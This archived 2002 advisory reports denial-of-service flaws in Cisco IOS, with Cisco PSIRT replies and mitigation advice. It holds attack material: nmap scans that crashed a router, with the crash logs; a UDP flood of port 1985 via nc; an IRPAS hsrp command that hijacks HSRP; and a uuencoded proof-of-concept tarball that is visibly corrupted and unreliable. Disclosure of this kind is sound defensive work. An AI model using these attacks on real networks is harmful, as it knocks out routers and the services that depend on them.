Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Cisco :: cisc5412.htm

Cisco IOS DoS
6th Jun 2002 [SBWID-5412]

	Cisco IOS DoS


	IOS 12.1, surely others


	Andrew Vladimirov [] found various  DOS  conditions
	regarding Cisco IOS.

	1. When scanning all 65535 ports from a single  host  using  nmap  (full
	connect/half connect/null/fin/ack/xmas) through  a  Cisco  2611  running
	C2600-IO3-M,  Version  12.1(6.5)the  router  crashes.  Same  applies  to
	scanning a class C network for a single open port. This  was  discovered
	while auditing a corporate network.

	Enabling or disabling: CBAC, IDS, IP  Accounting  and  applied  extended
	ACL\'s with logging,  does  not  effect  the  results  ie.  the  problem

	Here comes the log :


	OS (tm) C2600 Software (C2600-IO3-M), Version 12.1(6.5), MAINTENANCE 

	INTERIM SOFTWARE Copyright (c) 1986-2001 by cisco Systems, Inc.


	Compiled Mon 29-Jan-01 19:20 by kellythw



	Type escape sequence to abort.

	Sending 5, 100-byte ICMP Echos to, timeout is 2 seconds:


	Success rate is 100 percent (5/5), round-trip min/avg/max = 168/170/173 ms 


	          < < < < < scan starts > > > > > 


	-Process= \"IP Input\", ipl= 0,

	pid= 24 > -Traceback= 802CFCE4 802D19DC 807915D8 80791E04 80792598 8078B37C

	803645E8  80363694 80363874 803639D0 802F0864

	000010: 00:27:00: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes 

	failed from 0x802CCB60, pool Processor, alignment 0

	-Process= \"IP Input\", ipl= 0, pid= 24

	-Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04 

	80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864

	000011: 00:27:30: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes 

	failed from 0x802CCB60, pool Processor, alignment 0

	-Process= \"IP Input\", ipl= 0, pid= 24

	-Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04 

	80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864

	000012: 00:28:00: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes 

	failed from 0x802CCB60, pool Processor, alignment 0

	-Process= \"IP Input\", ipl= 0, pid= 24

	-Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04 

	80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864


	hippo#sh stacks 24


	Process 24:  IP Input

	Stack segment 0x80DB0DB4 - 0x80DB3C94

	FP: 0x80DB3C68, RA: 0x802DE6D8

	FP: 0x80DB3C88, RA: 0x80363998

	FP: 0x0, RA: 0x802F0864 


	hippo#sh run



	(no response)


	root@boar:~# ping

	ping: unknown host 



	The router  does  not  respond.  Connection  is  lost.  CPU  utilisation
	reaches  90  -  100  %.  This  bug  is  different  from  Cisco  Bug   ID
	CSCds07326i, here the scan is  going  through  the  router  and  is  not
	directed at it.


	 Update (10 June 2002)



	Answer from Sharad Ahlawat, Cisco  Product  Security  Incident  Response
	Team (PSIRT) Incident Manager []:

	A Cisco 2621 router with 12.1(6a) could not  be  crashed  by  using  the
	nmap command and by mirroring the  setup,  used  by  Andrew.  Other  IOS
	releases were tried and no crashes were observed. This  currently  seems
	to be a setup specific issue.

	Andrew was using an Interim release of IOS during his  testing.  Interim
	releases are built at regular  intervals  between  maintenance  releases
	and receive less testing. Interim releases should be  selected  only  if
	there is no other suitable release that addresses an issue, and  interim
	images should be upgraded to the next available maintenance  release  as
	soon as possible. Interim releases are not available via  manufacturing,
	and usually are not available for customer  download  from  CCO  without
	prior arrangement with the Cisco TAC.




	2. In certain versions of IOS UDP port 1985 is open  when  HSRP  is  not

	For example:


	nmap -sU -vvv -O -p1985


	Starting nmap V. 2.54BETA34 ( )

	Host  ( appears to be up ... good.

	Initiating UDP Scan against  (

	The UDP Scan took 0 seconds to scan 1 ports.

	Adding open port 1985/udp

	Warning:  OS detection will be MUCH less reliable because we did not find 

	at least 1 open and 1 closed TCP port.

	Interesting ports on  (

	Port       State       Service

	1985/udp   open        unknown

	Remote OS guesses: Cisco IOS 11.1(7)-11.2(8.10), Cisco 4500-M running IOS 

	11.3(6) IP Plus, Cisco IOS 11.3 - 12.0(11), Cisco 1600/3640/7513 Router 

	(IOS 11.2(14)P), Cisco IOS v11.14(CA)/12.0.2aT1/v12.0.3T   



	However, a) tcpdump did not show any hsrp packets on the network
	         b) attempts to communicate with the router via HSRP using IRPAS

	         (, successful when HSRP is 

	         running, failed to illicit any response.


	Flooding 1985 with randomly sized UDP  packets  (cat  /dev/urandom  pipe
	via nc as UDP etc.,) leads to CPU utilisation above 90%  and  eventually
	the router crashes. Besides the presence of this  open  port,  where  it
	should be shut, assists in remote OS fingerprinting.

	I have checked this with a number of system administrators I know;  here
	are the stats for udp port 1985 on their routers I\'ve collected:


	Open 1985: 12.1(8a)E5 Catalyst 6k R700, 11.2(23) C2500-I-L, 12.2(2)XI 

	(c827), 12.1(9) (C2500-I-L), 11.1(16) (c1000), 12.0(4)XM (c805), 12.2(2)T1



	Closed 1985: 12.0(3)T (C2500-I-L), 12.0(9) (c1600), 11.3(8)T1 (c2600), 

	12.0(3)T (c1720), 12.2(3) (c1720), 12.0(16) (C2500-I-L), 12.0(5)XQ




	In general, 12.0.x does not appear to have this potential  problem.  Out
	of the routers checked, 50 % had udp 1985 open. All  routers  with  1985
	open were succeptible to DoS via 1985 UDP flood. None had  HSRP  enabled
	and running.




	3. While using IRPAS  to  test  the  \"bug\"  above  I  have  found  the
	following. The 12.1.x IOS implementation of HSRP fails to check  the  IP
	address of the phantom router against the IP address  of  the  interface
	on which HSRP is running when the IP is advertised from the remote  host
	using IRPAS. This results in a conflict over  the  IP  address  for  the
	interface, bypassing normal sanity checks.

	An obvious DoS condition is created, since the  phantom  router  can  be
	remotely given an IP address of a local interface through which  packets
	enter the Active router, thus leading to a loop.

	Example :


	./hsrp -d -v -a cisco -g 1 -i eth0 


	where - IP of a phantom router, - IP  of  an
	active router interface on which the standby 1 ip  command
	is configured.


	000059: 00:10:34: %STANDBY-6-STATECHANGE: Standby: 1: Ethernet0/1 state 

	Active -> Speak


	000060: 00:10:34: %STANDBY-3-DIFFVIP1: Ethernet0/1 Group 1 active routers 

	virtual IP address is different to the locally configured



	May  6 18:28:26 324: 000317: 2d17h: %STANDBY-3-DUPADDR:

	Duplicate address on Ethernet0/1, sourced by 0050.043a.ff60



	Nevretheless, the router goes into standby and  is  taken
	as a phantom\'s IP.

	Interestingly, ./hsrp -d -v -a  cisco  -g  1
	-i eth0 -S does not appear to  have  any  effect  and  the
	packets are dropped.

	Setting a good password while enabling HSRP (something  that  should  be
	done  anyway  !)  provides  a  temporary  solution  for  this   problem.
	Unfortunately, I have seen networks running HSRP with  default  password


	 Update (11 june 2002)



	Big Poop [] added :

	a bit of source code i wrote a couple of month as proof of  concept  for
	the HSRP DoS..... needs libpcap installed to sniff the  packets  to  get
	the authentication details + various other stuff.  Spoofed  packets  are
	then send to the multicast address informing the group that there  is  a
	new router (the hackers machine / fake IP  address)  that  has  the  top
	priority 255 thus pre-empting the active router and causing a DoS

	the prog runs on linux and was tested on mandrake 8


	egin 777 hsrp.tar.gz

	M\'XL(\"\".0 ST  VAS<G N=&%R .U<>7/;.+*??^4J?0>,I]:1\'%F79=FQ$L\\F

	MCF>B>HFMLISL,9-2P2(HL4R1? 3E8U-YG_UUXR !BI*=:XX=80Z+0#?0W6@ 

	M/S1 OAJ>#^K3[[YI:K::S6ZG\\UU3IOS?W59G[[OF_EZSN0^$K2;2=_9WOR/-

	M;RN63\'.>T)B0[^(P3%;1W5?^)TT_>,\'8GSN,/(W&-*I/CS:RG( E\'OS7\\((1

	MO^/);%FIG<^3V LFN;P[WDCN(L87LWDXOF))O@K\']R[MO\'G@0;:=-V%)&.5X


	MP,8/#G.!D R?$U!B/DX(FHPZ3IP6#<[.+TCKR<%>FO/NY)QLMNJ=S33GS?-_

	MONZ?GI!.\\TF7-!HS>DL2=IL0\'PM]%DR2*9ESYA O(!&-.5B+\'+]Y2=PP)N@:

	M&QN-AFR?;R@YPHB3#QLE+P\"1 L]U>_+W./:BR&?J\"9JG\\V2JGJ;,]T.T&3R/


	M_\"\'CBZ; !36!WEZDBM-2Z\'TLAC]8#G]2 B\'@Y=S]I=U\\CV53\'J>%V!R8C\\4!

	M,:P1_@*:-!IV ;)A\"^(O$@!%%(=)*$;$QG7H.6!Y.F$5T> VE($\'S5BU)\\O&

	MH%]%/P@#ID]AQ )A^C1G[#,: +WH%&_BA;I D#%\'5&;9B6SCW__DZ&0[2PCG

	M 3HY^ J?AK\'HE_\'TBL]GE5S!=I3P&D%1@LN[A\'%@E2H&8*$1>I60<]M41V;C

	M8TH]!\'\\?!3#41].0)Y5Q&/ $A\\-V30P%<-Y1 L1\"922%:6$40?M+*7-J09_\'

	M\\+-26 *JL?&5[IHDEOI 3571D1,_O*0^S_F\"]E3\\7R\\MTQ+ F. )_$I+Q#BA



	M_S5;2-_M=-?X[[=(C<:QQ\\<A>17B3)G0P+F\\(\\=R!8_+,,&]N\",OO D9A&%$

	MT 9_!V1R$\\97,%6S)*:)%X+_A#,DQ?_^%<Y)P& %  \"\'$Q-,/&!@WV<.EEZ$

	ML)K-(L]G9#(>D^WZF#3F/&X <4,QU\"G9^0<PD)U0K)BCL2\',!4R<4/=90-Z 

	MI#&]8N1 M_R6,[(SK&,B.\\?DAL)R\'/AW$M0X<X1_@\'AX@G^AS\"..YP2/8*ZG

	MUPSY*:@WA^F,)- PU\"Z0#PWN2.@2P&>@B)=XU(?)^YKY831C08)LK\\(;XB4$

	M3<*A:<PJE5IU,L1U5-3Q\"K98 *D0YG* -52;1I*VZV!N!C,EH1K8I,1N\',YP

	MYL9FU;HLF4J20C[L0F,,Y,US<WHG= ;9DZG\'R8R.IP#V5 U3L,\'4FP#P)%\'L

	MA;&7W \'9G MZ.DZ\\:R8-HNAO/.B32P;$;(?-(NR&,9T+F$C)RW HS<7],)@H

	M#JKJ2A(0\"/H=] CFC.O^NCA[>89]17\'AF$\'%(:Y1\'A$-P3*2Z@-RBX64<<Z$

	M 9$;;(@8\'RL0O>RYP H+/[D,8^ YK,IFRAFDWGPEMKJ;1I;>\\Y2SA;R\\8<$Y

	M\"?S.(G1S#N,#B^8Q2ZFLA9ZDV7HEQ/6;)[V%?%PA.?P/2Q90 4IM(0*00*SQ

	M.J.\\86$#54SD8WG#P -8)+P!^BI\"P?52+8R-8RI#\"D +/XC<C\\D\"C32@\"\'_\"

	ML(\".%$[Y]G0@212F(,](N]GL$:\"DLW .!3!J4%X<39.87FJE<+TA O71>#*N

	M\"92SO0V_KZ\'\'/I35#@)L(-\'W-K8/ID7V$OAID+B533UC91/6N1RY T35X]!/


	M^BCDG;$99TEE*ZR11[\\V\'P$&]?[#0K<25JMH4H3J,?B9]\"VN?0N\\J 29+([!


	M4O(;+QE/@;=*/@BI2B7 =XP\\&CXZ).\'.D9A7H*664*!4(H !&;WJ6;3\'DE9-

	MQ8(:%. XZ^\"&(L\\)#P;S5#*G6S]@ITGH54 1T*\"ZT*Y\\,BJ@4 &8)QA\'=Q6H


	M3&\\SF%CZ ST7\'9*_<?\"/FJU&Z@)\"AH_WZC:1QA&;V/L,8[!YP\";\'.S!)^B([

	M&ASN2MW57)MI3HBANU9^B%3WZ$_(@RT@0@-^<D@*1A(083V5EGS\\* =5\"34P


	M( 8\")6*[B:,X781U_<(K*LUJ-C=@B]_;37Z_LDT!JF RY<QG,($S#V-&2H;*



	MC?JG)Q<]JQ0W_E V!8EY!6-B8JZ5& R*+%J4HLY\'2GVI*?RN;+;;G7H3_FEO


	M8.2-QLKC$\'$IB%=>B +)-;0@;$-[8EG1\\179HJC4!@C&X!CJUO(@5F#LNG8P

	M43N8+XNB0-6(Q*C)9-3[<Y@KJ\\%4EE#/YXC+W1 &\\PW/+]CO6,QAG81)YU:X

	MD&AUYPBC<VK*T)1GT3AT&!(2FZ[U7H]U*Y,\\@V56+(Z9 [_\"&87(FK0D\'Y?P

	MMG*\\QSC5/(RU;0_S<X;1LP+>M$<2V\"> 9DY.LW:19NU\"S?JPBX\'=A*AIN7AM

	MI9G%^AK@2O PSIQBKSW8MCV0M6.S#B-8-A[&>9#C5-CP8:IV;>;G<@.TP&L[







	MF5P .4[K08@+,73RDAHM+*ZAA007RU0FCUM:Z59\'5V K/GP-?@;VY7YZAF16

	MF*^/M\'6%[2(S#@;@M+@]CSZ_,HV?):<VU]N SR.$.ACV4JX!2P:8*W4491#;

	M/\"4#@ G77G#N\\L;*\\Y#,Y:?*Y]/S-]S\'&QDI,!$[>_0-U.VIWLNE;%70W,Z3


	MHERUH^F+&D-#3J5,NMZI3YYBZ$\"OTDO4K>;; SZ[P:F_K$740E8K:O\\DP]7(



	M+=JXI0()F?2).IZ.;R*+V +&8[&_0!-B;&?FB)/U<N\'!IAPI<VAZMSV\"P1..

	MJ1\\@#H;_S2B_2M<+J.87=7 /:Q08\"M>GP?\'SP>CD_/S%VY]&P_Z_3]X;(^LR

	M<D=X?AS3&7$11IKKY44L \\*AD(<,LJ\"A&>?2885G!!<*M46$W6H:;A#Q15AE

	MKN81Y%6D5-#)%D?:J$&M(P9*D17[/\\V<MJD8Y;.> !L-L)A+0>>;Q,4;,




	M>%-JD1/S5[HR*K_0SX)W29.:YN$M\"OWD4EG>R%UZR);,(F@H*H^N$G%Q1 ? 


	M5\" $ZDIQ;J,1A($^A,K%\'V1( W0I9?);)QWBH*.D[V>DO[U M8=/8:##ROH6

	M$O0PDH<1!@_2FR7Z6*  3Z1Q#K\'<B_4^QU:U [TJ]J-8=+A>5),+V4O\\;^T^

	M,.B\'TREJCVX_PV4 YE;8 .#Y&* M(O9=L14HJ4.KGEC6]ZR\\:QG?0+1NY2<A

	MU\\< 1EXR4MTFHER=IEV_&]/)*!11_1QCXFLCS^A=&E($VP039A)&^B#%6G\"M

	MNL3R+5K Y8[ZX[F/UST(=<6YDH[?R;BR,K1:L7457 7>%NA$<$J=_F7AMG3I

	M7JA R.##8+C\"C0(>T8X]QU+(T2\'.+.*G7(UDP3W5%$FC?PK+B4KPDB /Y[%8




	M4IT 9\"Q=):\"\\-+@H7-<TD\"\"R6MPW#1RKN(IL;5N?0!D^+D,DLD5QT1&/D^WB


	MIC:J!89IWG9W>S!_%!@%BIY D5=DD.;M/K+Q(F,45]E2\'MUUH2PL,H+H5CPO


	M^(IC%;[\\4,4HM8]1K\"D6J/ _7,>A2-XMJ*@&:F1X=OP_H_/G_ZBEJPP\\R*K3




	MW\'7+UG5DA?TTPM-\"XX;-IW<U >Y:!F K0(>?!/\"^/;H;*G0G%Z@9P (Z8;R&

	MZ X0PO\'%^>O\'Q^1F\"AT])U/J$!:$\\\\GTOQWJ?3U<]W \\1S\\!SUW.$R+OI*U 

	M=>!]/Z*\\_YW0KFE NR8*A [\\.V,[L@M;H7$(^Z,,\":S!WE\\3[)$5:(^L@GMD

	M%=Y;K-4 ?&05XB/W0[ZE)\'O%)&O05\\HFO\\]#4MC96!#.LPLJ:I*\\#V39\\Y< 





	MEU]6+(YIEM>AS *XFT.N8OCJ*UR]\\@)(-<H[[S\\;K>8 J%%I]_VG(=$<OC)J

	M.A U\'1!\\[19F5,YOPM@A%LN3\',N3]SV;0&(O@Z+57\"!IY4E:\"R3M/$E[@21O

	M_-;N DG>_JW. LE>GF1/(]0\\$C.)NO<C,I-\\_WYD9I(?W(_03/(GWQZI+9LX

	MRNM(W1\\U4F<MM8L1.^N-?8E 3###%\\&,B@D\\\\\'U_&\\ZLAB_?]ESWMPO[::/)

	M&(8Z[EX6_;MFQ/4\"CT^9\\P?$.G^H .!GP)]/0#]_W0/=+XOZK81!]YS2_MDP


	M:^[_7#\"V%(U]U1C3UX\\H69-E=6&VU)< EWR<26*K+ [UD\\(1ZJL)@):R.(KU



	MFA)!5U_:QAOH&2R4I54HWL[RH96>T:JAQ4=#W K^.3K\"-\\/(8_FTA8N7*^_9





	M8T.0, *8Z=[I#\\[9[RHK%DJ>OJ&WY$#L.(!\'OB>G7I,C\\MN\"-?P&B;@G(2ID

	MZ6&G^ )-5I=\'GI[VC[-V3U4G]O&#\'\"X%DQS36+[JC1W]:Y\"RGMS2623O5N,7

	M;G:FNV1GTB*@4*N]6S?^(R#P+ RNV%T&?8MK&1*0AR73)H&.:]7;]=UZ1[2(




	M/%L @QB: B3 :6\\C?1D,D26TH38%U1ZL^ZB2\"]-UJ3]XU[5;[\"YKLBO:[!8W








	 Update (10 June 2002)



	Answers from Sharad Ahlawat, Cisco Product  Security  Incident  Response
	Team (PSIRT) Incident Manager []:

	Issue 1: Do not use Interim maintenance releases

	Issue 2: UDP port 1985 found open when no HSRP configured. Cisco Bug  ID
	CSCdt64533 - has already been integrated in 12.2.

	Issue 3: Cisco is considering using MD5 to  improve  the  protection  of
	HSRP in future releases of IOS. However, there are  some  other  factors
	that must be considered in this context:

	 - - this vulnerability can be exploited only from the local segment

	   (not over the Internet).

	 - - the same effect, denial of service, can be produced by using ARP,

	   which can not be protected in any way.


	The last factor is especially important  since  it  may  cause  a  false
	sense of security if the user is using a hardened version of HSRP as  an
	attacker can still disrupt the network by using crafted ARP packets.

	Another aspect of this issue is  that  in  its  current  implementation,
	HSRP doesn\'t seem to perform a validity  check  on  the  IP  addresses.
	This is under active investigation as Cisco Bug ID CSCdu38323.

	Cisco HSRP documentation can be found at




	 Update (11 June 2002)



	Felix Lindner  <>  answers  regarding  \"local
	attack only\" aspect:

	This does not prevent  remote  attacks  because  Cisco  devices  do  not
	validate the destination address of a HSRP packet. Unicast  packets  are
	accepted, which can be tested using the hrsp tool at 




	 Update (13 June 2002)



	Shane Gibson [] added:

	Best practices would dictate at least the following three:

	    1.  use \"standby GROUP authentication TOKEN\"

	    2.  filter all traffic at your egress routers

	    3.  filter at each interface participating in HSRP


	(1) standby authentication provides a simple (clear text) token that  is
	shared via your participating HSRP routers. This is a **basic** form  of
	validating your HSRP partners. If you don\'t have the right  token,  you
	don\'t get to play with HSRP (short  of  any  buffer  overflow  exploits
	against the standby auth. mechanism?). This  means  that  someone  would
	have to get ahold of your Cisco router configs, or sniff the  token  off
	of the local wire.

	(2) don\'t let any HSRP packets into your networks from the egress

	(3) each router using  HSRP  should  have  an  appropriate  filter  only
	allowing HSRP traffic from it\'s known HSRP partners, this logic  should
	be applied on a per group basis  (i.e.  standby  group  10  should  have
	appropriate filters, while standby group 20 should have a different  and
	appropriate set of filters).

	These are all very basic and simple mechanisms that  cost  nothing,  and
	will protect against (okay, I\'m just throwing  a  number  out  here...)
	99%+ of all attacks against your HSRP participating routers.  About  the
	only thing I see as a potential issue is a local resource being  cracked
	into and used to whack away at your HSRP routers,  which  would  require
	spoofing source IPs, etc... (eg the  filters).  I\'m  sure  someone  out
	there will correct me if I have any flaws in my strategy here...


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH